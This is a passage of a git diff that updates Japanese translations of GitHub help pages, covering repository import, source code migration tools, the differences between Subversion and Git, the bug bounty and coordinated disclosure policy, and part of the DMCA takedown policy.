-5. Review the information you entered, then click **Begin import**.
-![Begin import button](/assets/images/help/importer/begin-import-button.png)
-6. If your old project was protected by a password, type your login information for that project, then click **Submit**.
-![Password form and Submit button for password-protected project](/assets/images/help/importer/submit-old-credentials-importer.png)
-7. If there are multiple projects hosted at your old project's clone URL, choose the project you'd like to import, then click **Submit**.
-![List of projects to import and Submit button](/assets/images/help/importer/choose-project-importer.png)
-8. If your project contains files larger than 100 MB, choose whether to import the large files using [Git Large File Storage](/articles/versioning-large-files), then click **Continue**.
-![Git Large File Storage menu and Continue button](/assets/images/help/importer/select-gitlfs-importer.png)
+1. ページの右上角で {% octicon "plus" aria-label="Plus symbol" %} をクリックし、[**Import repository**] を選択します。 ![[New repository] メニューの [Import repository] オプション](/assets/images/help/importer/import-repository.png)
+2. [Your old repository's clone URL] に、インポートするプロジェクトの URL を入力します。 ![インポートするリポジトリの URL を入力するテキスト フィールド](/assets/images/help/importer/import-url.png)
+3. 自分のユーザ アカウント、またはリポジトリを所有する組織を選択し、GitHub 上のリポジトリの名前を入力します。 ![リポジトリの [Owner] メニューと、リポジトリ名フィールド](/assets/images/help/importer/import-repo-owner-name.png)
+4. 新しいリポジトリを*パブリック*にするか*プライベート*にするかを指定します。 詳細は「[リポジトリの可視性を設定する](/articles/setting-repository-visibility)」を参照してください。 ![リポジトリの [Public] と [Private] を選択するラジオ ボタン](/assets/images/help/importer/import-public-or-private.png)
+5. 入力した情報を確認し、[**Begin import**] をクリックします。 ![[Begin import] ボタン](/assets/images/help/importer/begin-import-button.png)
+6. 既存のプロジェクトがパスワードで保護されている場合は、必要なログイン情報を入力して [**Submit**] をクリックします。 ![パスワード保護されているプロジェクトのパスワード入力フォームと [Submit] ボタン](/assets/images/help/importer/submit-old-credentials-importer.png)
+7. 既存のプロジェクトのクローン URL で複数のプロジェクトがホストされいる場合は、インポートしたいプロジェクトを選択して [**Submit**] をクリックします。 ![インポートするプロジェクトのリストと [Submit] ボタン](/assets/images/help/importer/choose-project-importer.png)
+8. プロジェクトに 100 MB を超えるファイルがある場合は、[Git Large File Storage](/articles/versioning-large-files) を使用して大きいファイルをインポートするかどうかを選択し、[**Continue**] をクリックします。 ![[Git Large File Storage] メニューと [Continue] ボタン](/assets/images/help/importer/select-gitlfs-importer.png)
 
-You'll receive an email when the repository has been completely imported.
+リポジトリのインポートが完了すると、メールが届きます。
 
-## Further reading
+## 参考リンク
 
-- "[Updating commit author attribution with GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer)"
+- [GitHub Importerでのコミット作者の属性の更新](/articles/updating-commit-author-attribution-with-github-importer)
diff --git a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
index b4936814c0..44e973bbd7 100644
--- a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
+++ b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Importing source code to GitHub
-intro: 'You can import repositories to GitHub using {% ifversion fpt %}GitHub Importer, the command line,{% else %}the command line{% endif %} or external migration tools.'
+title: GitHub にソースコードをインポートする
+intro: 'リポジトリは、{% ifversion fpt %}GitHub Importer、コマンドライン、{% else %}コマンドライン{% endif %}、または外部移行ツールを使用して GitHub にインポートできます。'
 redirect_from:
   - /articles/importing-an-external-git-repository
   - /articles/importing-from-bitbucket
diff --git a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
index eaf2788967..607b49a648 100644
--- a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
+++ b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
@@ -1,6 +1,6 @@
 ---
-title: Source code migration tools
-intro: You can use external tools to move your projects to GitHub.
+title: ソースコード移行ツール
+intro: 外部ツールを使って、プロジェクトを GitHub に移動できます。
 redirect_from:
   - /articles/importing-from-subversion
   - /articles/source-code-migration-tools
@@ -12,27 +12,28 @@ versions:
   ghec: '*'
 shortTitle: Code migration tools
 ---
+
 {% ifversion fpt or ghec %}
 
-We recommend using [GitHub Importer](/articles/about-github-importer) to import projects from Subversion, Mercurial, Team Foundation Version Control (TFVC), or another Git repository. You can also use these external tools to convert your project to Git.
+We recommend using [GitHub Importer](/articles/about-github-importer) to import projects from Subversion, Mercurial, Team Foundation Version Control (TFVC), or another Git repository. これらの外部ツールを使って、プロジェクトを Git に変換することもできます。
 
 {% endif %}
 
-## Importing from Subversion
+## Subversion からインポートする
 
-In a typical Subversion environment, multiple projects are stored in a single root repository. On GitHub, each of these projects will usually map to a separate Git repository for a user account or organization. We suggest importing each part of your Subversion repository to a separate GitHub repository if:
+一般的な Subversion の環境では、複数のプロジェクトが単一のルートリポジトリに保管されます。 GitHub 上では、一般的に、それぞれのプロジェクトはユーザアカウントや Organization の別々の Git リポジトリにマップします。 次の場合、Subversion リポジトリのそれぞれの部分を別々の GitHub リポジトリにインポートすることをおすすめします。
 
-* Collaborators need to check out or commit to that part of the project separately from the other parts
-* You want different parts to have their own access permissions
+* コラボレーターが、他の部分とは別のプロジェクトの部分をチェックアウトまたはコミットする必要がある場合
+* それぞれの部分にアクセス許可を設定したい場合
 
-We recommend these tools for converting Subversion repositories to Git:
+Subversion リポジトリを Git にコンバートするには、これらのツールをおすすめします:
 
 - [`git-svn`](https://git-scm.com/docs/git-svn)
 - [svn2git](https://github.com/nirvdrum/svn2git)
 
-## Importing from Mercurial
+## Mercurial からインポートする
 
-We recommend [hg-fast-export](https://github.com/frej/fast-export) for converting Mercurial repositories to Git.
+Mercurial リポジトリを Git にコンバートするには、 [hg-fast-export](https://github.com/frej/fast-export) をおすすめします。
 
 ## Importing from TFVC
 
@@ -42,16 +43,16 @@ For more information about moving from TFVC (a centralized version control syste
 
 {% tip %}
 
-**Tip:** After you've successfully converted your project to Git, you can [push it to {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+**参考:** Git へのプロジェクトの変換が完了した後、[{% data variables.product.prodname_dotcom %} にプッシュできます。](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}
 
-## Further reading
+## 参考リンク
 
-- "[About GitHub Importer](/articles/about-github-importer)"
-- "[Importing a repository with GitHub Importer](/articles/importing-a-repository-with-github-importer)"
+- 「[GitHub Importer について](/articles/about-github-importer)」
+- [GitHub Importerでのリポジトリのインポート](/articles/importing-a-repository-with-github-importer)
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
 
 {% endif %}
diff --git a/translations/ja-JP/content/github/importing-your-projects-to-github/index.md b/translations/ja-JP/content/github/importing-your-projects-to-github/index.md
index b2db417ddf..48cd8fbb61 100644
--- a/translations/ja-JP/content/github/importing-your-projects-to-github/index.md
+++ b/translations/ja-JP/content/github/importing-your-projects-to-github/index.md
@@ -1,7 +1,7 @@
 ---
-title: Importing your projects to GitHub
+title: GitHub にプロジェクトをインポートする
 intro: 'You can import your source code to {% data variables.product.product_name %} using a variety of different methods.'
-shortTitle: Importing your projects
+shortTitle: プロジェクトのインポート
 redirect_from:
   - /categories/67/articles
   - /categories/importing
diff --git a/translations/ja-JP/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md b/translations/ja-JP/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
index 21d7ded6ac..c5cd29f329 100644
--- a/translations/ja-JP/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
+++ b/translations/ja-JP/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md
@@ -1,6 +1,6 @@
 ---
-title: What are the differences between Subversion and Git?
-intro: 'Subversion (SVN) repositories are similar to Git repositories, but there are several differences when it comes to the architecture of your projects.'
+title: Subversion と Git の違い
+intro: Subversion (SVN) リポジトリは、Git リポジトリに似ています。ですが、プロジェクトのアーキテクチャの点からいくつかの違いがあります。
 redirect_from:
   - /articles/what-are-the-differences-between-svn-and-git
   - /articles/what-are-the-differences-between-subversion-and-git
@@ -11,9 +11,10 @@ versions:
   ghec: '*'
 shortTitle: Subversion & Git differences
 ---
-## Directory structure
 
-Each *reference*, or labeled snapshot of a commit, in a project is organized within specific subdirectories, such as `trunk`, `branches`, and `tags`. For example, an SVN project with two features under development might look like this:
+## ディレクトリ構造
+
+プロジェクトのそれぞれの *reference* やコミットのラベルスナップショットは、`trunk`、`branches`、`tags` などの特定のサブディレクトリにまとめられます。 たとえば、2 つの feature のある開発中の SVN プロジェクトは、このようになるでしょう:
 
       sample_project/trunk/README.md
       sample_project/trunk/lib/widget.rb
@@ -22,48 +23,48 @@ Each *reference*, or labeled snapshot of a commit, in a project is organized wit
       sample_project/branches/another_new_feature/README.md
       sample_project/branches/another_new_feature/lib/widget.rb
 
-An SVN workflow looks like this:
+SVN のワークフローは以下のようになります:
 
-* The `trunk` directory represents the latest stable release of a project.
-* Active feature work is developed within subdirectories under `branches`.
-* When a feature is finished, the feature directory is merged into `trunk` and removed.
+* `trunk` ディレクトリは、プロジェクトの最新の安定したリリースを表します。
+* アクティブな feature は、 `branches` の下のサブディレクトリで開発されます。
+* feature が完了した時、feature ディレクトリは `trunk` にマージされ消去されます。
 
-Git projects are also stored within a single directory. However, Git obscures the details of its references by storing them in a special *.git* directory. For example, a Git project with two features under development might look like this:
+Git プロジェクトも、単一のディレクトリに保管されます。 ですが、Gitは、reference を特別な *.git* ディレクトリに保管するため、その詳細は隠れています。 たとえば、2 つの feature のある開発中の Git プロジェクトは、このようになるでしょう:
 
       sample_project/.git
       sample_project/README.md
       sample_project/lib/widget.rb
 
-A Git workflow looks like this:
+Git のワークフローは以下のようになります:
 
-* A Git repository stores the full history of all of its branches and tags within the *.git* directory.
-* The latest stable release is contained within the default branch.
-* Active feature work is developed in separate branches.
-* When a feature is finished, the feature branch is merged into the default branch and deleted.
+* Git リポジトリは、ブランチおよびタグのすべての履歴を、*.git* ディレクトリ内に保管します。
+* 最新の安定したリリースは、デフォルトブランチに含まれています。
+* アクティブな feature は、別のブランチで開発されます。
+* feature が完了すると、フィーチャブランチはデフォルトブランチにマージされ、消去されます。
 
-Unlike SVN, with Git the directory structure remains the same, but the contents of the files change based on your branch.
+Git はディレクトリ構造は同じままですが、SVN とは違い、ファイルの変更内容はブランチベースです。
 
-## Including subprojects
+## サブプロジェクトを含める
 
-A *subproject* is a project that's developed and managed somewhere outside of your main project. You typically import a subproject to add some functionality to your project without needing to maintain the code yourself. Whenever the subproject is updated, you can synchronize it with your project to ensure that everything is up-to-date.
+*サブプロジェクト*は、メインプロジェクト外で開発され管理されるプロジェクトです。 一般的に、自分でコードを管理する必要なく、プロジェクトに何らかの機能を加えるためにサブプロジェクトをインポートします。 サブプロジェクトがアップデートされる度、すべてを最新にするためにプロジェクトと同期できます。
 
-In SVN, a subproject is called an *SVN external*. In Git, it's called a *Git submodule*. Although conceptually similar, Git submodules are not kept up-to-date automatically; you must explicitly ask for a new version to be brought into your project.
+SVN では、サブプロジェクトは、*SVN external* と呼ばれます。 Git では、*Git サブモジュール*と呼ばれます。 コンセプトは似ていますが、Git サブモジュールは自動では最新状態のままにはなりません。プロジェクトに新しいバージョンを取り込むためには、明示的に要求する必要があります。
 
 For more information, see "[Git Tools Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)" in the Git documentation.
 
-## Preserving history
+## 履歴を保存する
 
-SVN is configured to assume that the history of a project never changes. Git allows you to modify previous commits and changes using tools like [`git rebase`](/github/getting-started-with-github/about-git-rebase).
+SVN は、プロジェクトの履歴は変更されないものとして設定されています。 Git は、[`git rebase`](/github/getting-started-with-github/about-git-rebase) のようなツールを使って、過去のコミットや変更を修正できます。
 
 {% tip %}
 
-[GitHub supports Subversion clients](/articles/support-for-subversion-clients), which may produce some unexpected results if you're using both Git and SVN on the same project. If you've manipulated Git's commit history, those same commits will always remain within SVN's history. If you accidentally committed some sensitive data, we have [an article that will help you remove it from Git's history](/articles/removing-sensitive-data-from-a-repository).
+[GitHub は Subversion クライアントをサポートしていますが、](/articles/support-for-subversion-clients)同じプロジェクトで Git と SVN の両方を使っている場合、予期しない結果となる可能性があります。 Git のコミット履歴を操作した場合、常に同じコミットが SVN の履歴に残ります。 機密データを誤ってコミットした場合、[Git の履歴から削除するために役立つ記事があります](/articles/removing-sensitive-data-from-a-repository).
 
 {% endtip %}
 
-## Further reading
+## 参考リンク
 
-- "[Subversion properties supported by GitHub](/articles/subversion-properties-supported-by-github)"
-- ["Branching and Merging" from the _Git SCM_ book](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
-- "[Importing source code to GitHub](/articles/importing-source-code-to-github)"
-- "[Source code migration tools](/articles/source-code-migration-tools)"
+- [GitHub がサポートする Subversion プロパティ](/articles/subversion-properties-supported-by-github)
+- [_Git SCM_ ブックの「ブランチおよびマージ」](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging)
+- 「[GitHub にソースコードをインポートする](/articles/importing-source-code-to-github)」
+- [ソースコードの移行ツール](/articles/source-code-migration-tools)
diff --git a/translations/ja-JP/content/github/index.md b/translations/ja-JP/content/github/index.md
index 25aee3d946..8f9846c1c6 100644
--- a/translations/ja-JP/content/github/index.md
+++ b/translations/ja-JP/content/github/index.md
@@ -4,7 +4,7 @@ redirect_from:
   - /articles
   - /common-issues-and-questions
   - /troubleshooting-common-issues
-intro: 'Documentation, guides, and help topics for software developers, designers, and project managers. Covers using Git, pull requests, issues, wikis, gists, and everything you need to make the most of GitHub for development.'
+intro: ソフトウェア開発者、設計者、およびプロジェクトマネージャーのためのドキュメント、ガイド、およびヘルプトピックです。 Git、プルリクエスト、Issues、Wiki、Gist の使用方法、および開発のために GitHub を最大限活用するために必要な全てのポイントをカバーしています。
 versions:
   fpt: '*'
   ghec: '*'
@@ -21,3 +21,4 @@ children:
   - /site-policy
   - /site-policy-deprecated
 ---
+
diff --git a/translations/ja-JP/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md b/translations/ja-JP/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
index 3bfef628dd..30164e3a8c 100644
--- a/translations/ja-JP/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
+++ b/translations/ja-JP/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md
@@ -11,10 +11,11 @@ topics:
   - Policy
   - Legal
 ---
-We want to keep GitHub safe for everyone. If you've discovered a security vulnerability in GitHub, we appreciate your help in disclosing it to us in a coordinated manner.
 
-## Bounty Program
+私たちは、GitHubをすべての人にとって安全であるよう保ちたいと願っています。 If you've discovered a security vulnerability in GitHub, we appreciate your help in disclosing it to us in a coordinated manner.
 
-Like several other large software companies, GitHub provides a bug bounty to better engage with security researchers. The idea is simple: hackers and security researchers (like you) find and report vulnerabilities through our coordinated disclosure process. Then, to recognize the significant effort that these researchers often put forth when hunting down bugs, we reward them with some cold hard cash.
+## 報奨金制度
 
-Check out the [GitHub Bug Bounty](https://bounty.github.com) site for bounty details, review our comprehensive [Legal Safe Harbor Policy](/articles/github-bug-bounty-program-legal-safe-harbor) terms as well, and happy hunting!
+セキュリティ研究者と良好な関係を築くため、一部の大規模ソフトウェア企業と同様、GitHubでもバグ報奨金を提供しています。 The idea is simple: hackers and security researchers (like you) find and report vulnerabilities through our coordinated disclosure process. 研究者がバグハンティングにつぎ込んだ努力を称えて、現金をお支払いします。
+
+報奨金の詳細については、[GitHub Bug Bounty](https://bounty.github.com)のサイトをご覧ください。また、包括的な[法的免責事項](/articles/github-bug-bounty-program-legal-safe-harbor)も併せてご確認願います。それでは、バグハンティングをお楽しみください！
diff --git a/translations/ja-JP/content/github/site-policy/dmca-takedown-policy.md b/translations/ja-JP/content/github/site-policy/dmca-takedown-policy.md
index 05d313d7f4..a97fe754f4 100644
--- a/translations/ja-JP/content/github/site-policy/dmca-takedown-policy.md
+++ b/translations/ja-JP/content/github/site-policy/dmca-takedown-policy.md
@@ -1,5 +1,5 @@
 ---
-title: DMCA Takedown Policy
+title: DMCAテイクダウンポリシー
 redirect_from:
   - /dmca
   - /dmca-takedown
@@ -13,105 +13,105 @@ topics:
   - Legal
 ---
 
-Welcome to GitHub's Guide to the Digital Millennium Copyright Act, commonly known as the "DMCA." This page is not meant as a comprehensive primer to the statute. However, if you've received a DMCA takedown notice targeting content you've posted on GitHub or if you're a rights-holder looking to issue such a notice, this page will hopefully help to demystify the law a bit as well as our policies for complying with it.
+このページは、GitHub によるデジタルミレニアム著作権法（DMCA）のガイドです。 これは法律を包括的に説明する入門書ではありません が、あなたが GitHub に投稿したコンテンツを対象とする DMCA テイクダウン通知を受け取った場合、またはそのような通知を発行しようとしている権利所有者の場合、このページはこの法律や、それに従うための当社の方針を理解する上で役立つはずです。
 
 (If you just want to submit a notice, you can skip to "[G. Submitting Notices](#g-submitting-notices).")
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+法律に関わるあらゆる事項と同様、具体的な疑問や状況については専門家に相談するのが常に最善です。 あなたの権利に影響を及ぼす可能性のある行動をとる前に、そうすることを強くお勧めします。 このガイドは法律上の助言ではなく、またそのように解釈されるべきではありません。
 
-## What Is the DMCA?
+## DMCA とは？
 
-In order to understand the DMCA and some of the policy lines it draws, it's perhaps helpful to consider life before it was enacted.
+DMCA とそこから導き出されるポリシーの一部を理解するには、この法律が制定される前の世の中について考えてみると良いでしょう。
 
-The DMCA provides a safe harbor for service providers that host user-generated content. Since even a single claim of copyright infringement can carry statutory damages of up to $150,000, the possibility of being held liable for user-generated content could be very harmful for service providers. With potential damages multiplied across millions of users, cloud-computing and user-generated content sites like YouTube, Facebook, or GitHub probably [never would have existed](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/) without the DMCA (or at least not without passing some of that cost downstream to their users).
+DMCA は、ユーザ生成コンテンツをホストするサービスプロバイダーにセーフハーバーを提供します。 たった一つの著作権侵害請求でも最大 15 万ドルの法定損害賠償金が生じる可能性があることを考えると、ユーザ生成コンテンツの責任を問われる恐れは、サービスプロバイダーにとって死活問題になり得ます。 損害規模が数百万人のユーザに及ぶ可能性がある、クラウドコンピューティングや YouTube、Facebook、GitHub などのユーザ生成コンテンツサイトは、おそらく DMCA なしでは（または少なくともそのコストの一部をユーザに負担してもらわなければ）[存在しなかったでしょう](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/)。
 
-The DMCA addresses this issue by creating a [copyright liability safe harbor](https://www.copyright.gov/title17/92chap5.html#512) for internet service providers hosting allegedly infringing user-generated content. Essentially, so long as a service provider follows the DMCA's notice-and-takedown rules, it won't be liable for copyright infringement based on user-generated content. Because of this, it is important for GitHub to maintain its DMCA safe-harbor status.
+DMCA は、権利侵害が申し立てられたユーザ生成コンテンツをホストしているインターネットサービスプロバイダー向けの[著作権責任のセーフハーバー](https://www.copyright.gov/title17/92chap5.html#512)を設けることにより、この問題に対処しています。 基本的に、DMCA のノーティスアンドテイクダウンの規則に従っている限り、サービスプロバイダーはユーザ生成コンテンツに基づく著作権侵害の責任を問われません。 このため、DMCA のセーフハーバーの状態を維持することは GitHub にとって重要です。
 
-The DMCA also prohibits the [circumvention of technical measures](https://www.copyright.gov/title17/92chap12.html) that effectively control access to works protected by copyright. 
+また DMCA は、著作権で保護されている著作物へのアクセスを効果的に制限する[技術的手段の迂回](https://www.copyright.gov/title17/92chap12.html)も禁止しています。
 
-## DMCA Notices In a Nutshell
+## DMCA 通知の要約
 
-The DMCA provides two simple, straightforward procedures that all GitHub users should know about: (i) a [takedown-notice](/articles/guide-to-submitting-a-dmca-takedown-notice) procedure for copyright holders to request that content be removed; and (ii) a [counter-notice](/articles/guide-to-submitting-a-dmca-counter-notice) procedure for users to get content re-enabled when content is taken down by mistake or misidentification.
+DMCA には、すべての GitHub ユーザが知っておくべき 2 つの単純でわかりやすい手続きが用意されています。それは、(i) 著作権所有者がコンテンツの削除を要求するための[テイクダウン通知](/articles/guide-to-submitting-a-dmca-takedown-notice)の手続き、および (ii) コンテンツが誤ってまたは誤認されて削除された場合に、ユーザがコンテンツを再度有効にするための[異議申し立て通知](/articles/guide-to-submitting-a-dmca-counter-notice)の手続きです。
 
-DMCA [takedown notices](/articles/guide-to-submitting-a-dmca-takedown-notice) are used by copyright owners to ask GitHub to take down content they believe to be infringing. If you are a software designer or developer, you create copyrighted content every day. If someone else is using your copyrighted content in an unauthorized manner on GitHub, you can send us a DMCA takedown notice to request that the infringing content be changed or removed.
+著作権所有者は DMCA [テイクダウン通知](/articles/guide-to-submitting-a-dmca-takedown-notice)を使用して、GitHub に著作権を侵害していると思われるコンテンツを削除するよう依頼することができます。 ソフトウェア設計者や開発者であれば、著作権で保護されたコンテンツを日常的に作成しているでしょう。 他の誰かが著作権で保護されたあなたのコンテンツを GitHub で不正に使用している場合、あなたは著作権を侵害しているコンテンツを変更または削除するよう要求する DMCA テイクダウン通知を当社に送信できます。
 
-On the other hand, [counter notices](/articles/guide-to-submitting-a-dmca-counter-notice) can be used to correct mistakes. Maybe the person sending the takedown notice does not hold the copyright or did not realize that you have a license or made some other mistake in their takedown notice. Since GitHub usually cannot know if there has been a mistake, the DMCA counter notice allows you to let us know and ask that we put the content back up.
+一方、[異議申し立て通知](/articles/guide-to-submitting-a-dmca-counter-notice)は間違いを修正するために使用できます。 テイクダウン通知を送信した人が著作権を保持していない場合や、あなたがライセンスを所有していることを知らなかった場合など、間違いでテイクダウン通知が行われるケースもあります。 通常、GitHub には間違いがあったかどうかを知る術がないため、このような場合は DMCA の異議申し立て通知を使用してコンテンツの復元を依頼してください。
 
-The DMCA notice and takedown process should be used only for complaints about copyright infringement. Notices sent through our DMCA process must identify copyrighted work or works that are allegedly being infringed. The process cannot be used for other complaints, such as complaints about alleged [trademark infringement](/articles/github-trademark-policy/) or [sensitive data](/articles/github-sensitive-data-removal-policy/); we offer separate processes for those situations.
+DMCA のノーティスアンドテイクダウンプロセスは、著作権侵害に関する苦情に対してのみ使用されるべきものです。 DMCA プロセスを通じて送信された通知では、著作物または著作権侵害が申し立てられた著作物を特定する必要があります。 このプロセスは、[商標権侵害](/articles/github-trademark-policy/)の申し立てや[機密データ](/articles/github-sensitive-data-removal-policy/)に関する苦情など、他の苦情には使用できません。これらの状況に対しては個別のプロセスが用意されています。
 
-## A. How Does This Actually Work?
+## A. 具体的なプロセスは？
 
-The DMCA framework is a bit like passing notes in class. The copyright owner hands GitHub a complaint about a user. If it's written correctly, we pass the complaint along to the user. If the user disputes the complaint, they can pass a note back saying so. GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+DMCA のフレームワークは、「授業中のメモまわし」に少し似ています。 著作権所有者は、GitHub にユーザに関する苦情を渡します。 内容に不備がなければ、当社は苦情をユーザに伝えます。 ユーザは、苦情に異議を唱える場合は、その旨を記したメモを返すことができます。 GitHub は、通知が DMCA の最小要件を満たしているかどうかを判断する以外、このプロセスではほとんど裁量権を行使しません。 主張の価値の評価は当事者（およびその弁護士）に委ねられます。なお、通知は偽証罪によって罰せられる対象になることにご注意ください。
 
-Here are the basic steps in the process.
+プロセスの基本的な手順は次のとおりです。
 
-1. **Copyright Owner Investigates.** A copyright owner should always conduct an initial investigation to confirm both (a) that they own the copyright to an original work and (b) that the content on GitHub is unauthorized and infringing. This includes confirming that the use is not protected as [fair use](https://www.lumendatabase.org/topics/22). A particular use may be fair if it only uses a small amount of copyrighted content, uses that content in a transformative way, uses it for educational purposes, or some combination of the above. Because code naturally lends itself to such uses, each use case is different and must be considered separately.
-> **Example:** An employee of Acme Web Company finds some of the company's code in a GitHub repository. Acme Web Company licenses its source code out to several trusted partners. Before sending in a take-down notice, Acme should review those licenses and its agreements to confirm that the code on GitHub is not authorized under any of them.
+1. **著作権所有者が調査します。**著作権所有者は (a) 自身が原著作物の著作権を所有していること、および (b) GitHub のコンテンツが無許可であり著作権を侵害していることの両方を確認するために必ず最初の調査を行う必要があります。 これには、使用が[フェアユース](https://www.lumendatabase.org/topics/22)として保護されていないことの確認が含まれます。 著作権で保護されたコンテンツを少量のみ使用する場合、そのコンテンツを変革的な方法で使用する場合、教育目的で使用する場合、または上記を組み合わせた場合、特定の使用がフェアユースに該当する場合があります。 コードは当然そのような用途に適しているため、使用事例ごとに異なり、個別に検討する必要があります。
+> **例**：Acme Web Company の従業員が、GitHub リポジトリで会社のコードの一部を見つけた。 Acme Web Company は、自社のソースコードを複数の信頼できるパートナーにライセンス供与している。 テイクダウン通知を送信する前に、Acme はこれらのライセンスとその契約を確認して、GitHub 上のコードがそのいずれかに基づいて許可されていないことを確認する必要がある。
 
-2. **Copyright Owner Sends A Notice.** After conducting an investigation, a copyright owner prepares and sends a [takedown notice](/articles/guide-to-submitting-a-dmca-takedown-notice) to GitHub. Assuming the takedown notice is sufficiently detailed according to the statutory requirements (as explained in the [how-to guide](/articles/guide-to-submitting-a-dmca-takedown-notice)), we will [post the notice](#d-transparency) to our [public repository](https://github.com/github/dmca) and pass the link along to the affected user.
+2. **著作権所有者が通知を送信します。**調査を行った後、著作権所有者は[テイクダウン通知](/articles/guide-to-submitting-a-dmca-takedown-notice)を準備し、GitHub に送信します。 テイクダウン通知が（[ハウツーガイド](/articles/guide-to-submitting-a-dmca-takedown-notice)で説明されている）法定要件に従って十分に詳細であることを条件に、当社は[パブリックリポジトリ](https://github.com/github/dmca)に[通知を投稿](#d-transparency)し、影響を受けるユーザにリンクを渡します。
 
-3. **GitHub Asks User to Make Changes.** If the notice alleges that the entire contents of a repository infringe, or a package infringes, we will skip to Step 6 and disable the entire repository or package expeditiously. Otherwise, because GitHub cannot disable access to specific files within a repository, we will contact the user who created the repository and give them approximately 1 business day to delete or modify the content specified in the notice. We'll notify the copyright owner if and when we give the user a chance to make changes. Because packages are immutable, if only part of a package is infringing, GitHub would need to disable the entire package, but we permit reinstatement once the infringing portion is removed. 
+3. **GitHub がユーザに変更を要求します。**通知がリポジトリのコンテンツ全体、またはパッケージが著作権侵害に該当すると主張する内容の場合、当社はステップ 6 に移動し、リポジトリ全体またはパッケージを迅速に無効にします。 そうでない場合、GitHub はリポジトリ内の特定のファイルへのアクセスを無効にすることはできないため、リポジトリを作成したユーザに連絡し、約 1 営業日以内に通知で指定されたコンテンツを削除または変更するよう求めます。 ユーザに変更を行う機会を提供した場合、当社はその旨を著作権者に通知します。 パッケージはイミュータブルであるため、パッケージの一部が著作権を侵害している場合、GitHub はパッケージ全体を無効にする必要がありますが、侵害している部分が削除された場合は復帰を許可しています。
 
-4. **User Notifies GitHub of Changes.** If the user chooses to make the specified changes, they *must* tell us so within the window of approximately 1 business day. If they don't, we will disable the repository (as described in Step 6). If the user notifies us that they made changes, we will verify that the changes have been made and then notify the copyright owner.
+4. **ユーザが GitHub に変更を通知します。**ユーザは、指定された変更を行うことを選択した場合、約 1 営業日以内にその旨を当社に通知する*必要があります*。 選択しなかった場合は、当社はリポジトリを無効にします（ステップ 6 で説明）。 ユーザが変更を行ったことを当社に通知した場合、当社は変更が行われたことを確認してから著作権所有者に通知します。
 
-5. **Copyright Owner Revises or Retracts the Notice.** If the user makes changes, the copyright owner must review them and renew or revise their takedown notice if the changes are insufficient. GitHub will not take any further action unless the copyright owner contacts us to either renew the original takedown notice or submit a revised one. If the copyright owner is satisfied with the changes, they may either submit a formal retraction or else do nothing. GitHub will interpret silence longer than two weeks as an implied retraction of the takedown notice.
+5. **著作権所有者が通知を修正または撤回します。**ユーザが変更を行った場合、著作権所有者はそれを確認し、変更が不十分な場合はテイクダウン通知を更新または修正する必要があります。 GitHub は、元のテイクダウン通知を更新する旨または修正版を送信する旨の連絡が著作権所有者からない限り、それ以上の措置を講じません。 著作権所有者は、変更に満足した場合、正式な撤回を提出することも、何もしないこともできます。 沈黙が 2 週間以上続いた場合、GitHub はそれをテイクダウン通知の暗黙の撤回として解釈します。
 
-6. **GitHub May Disable Access to the Content.** GitHub will disable a user's content if: (i) the copyright owner has alleged copyright over the user's entire repository or package (as noted in Step 3); (ii) the user has not made any changes after being given an opportunity to do so (as noted in Step 4); or (iii) the copyright owner has renewed their takedown notice after the user had a chance to make changes. If the copyright owner chooses instead to *revise* the notice, we will go back to Step 2 and repeat the process as if the revised notice were a new notice.
+6. **GitHub がコンテンツへのアクセスを無効にする場合があります。**次のいずれかの場合、GitHub はユーザのコンテンツを無効にします。(i) 著作権所有者がユーザのリポジトリ全体またはパッケージに対して著作権を主張している場合（ステップ 3 に記載）、(ii) ユーザが変更の機会を与えられた後、変更を行わなかった場合（ステップ 4 に記載）、(iii) ユーザが変更を行う機会を得た後、著作権所有者がテイクダウン通知を更新した場合。 著作権所有者が通知を*修正*することを代わりに選択した場合、当社はステップ 2 に戻り、修正された通知を新規の通知とみなしてプロセスを繰り返します。
 
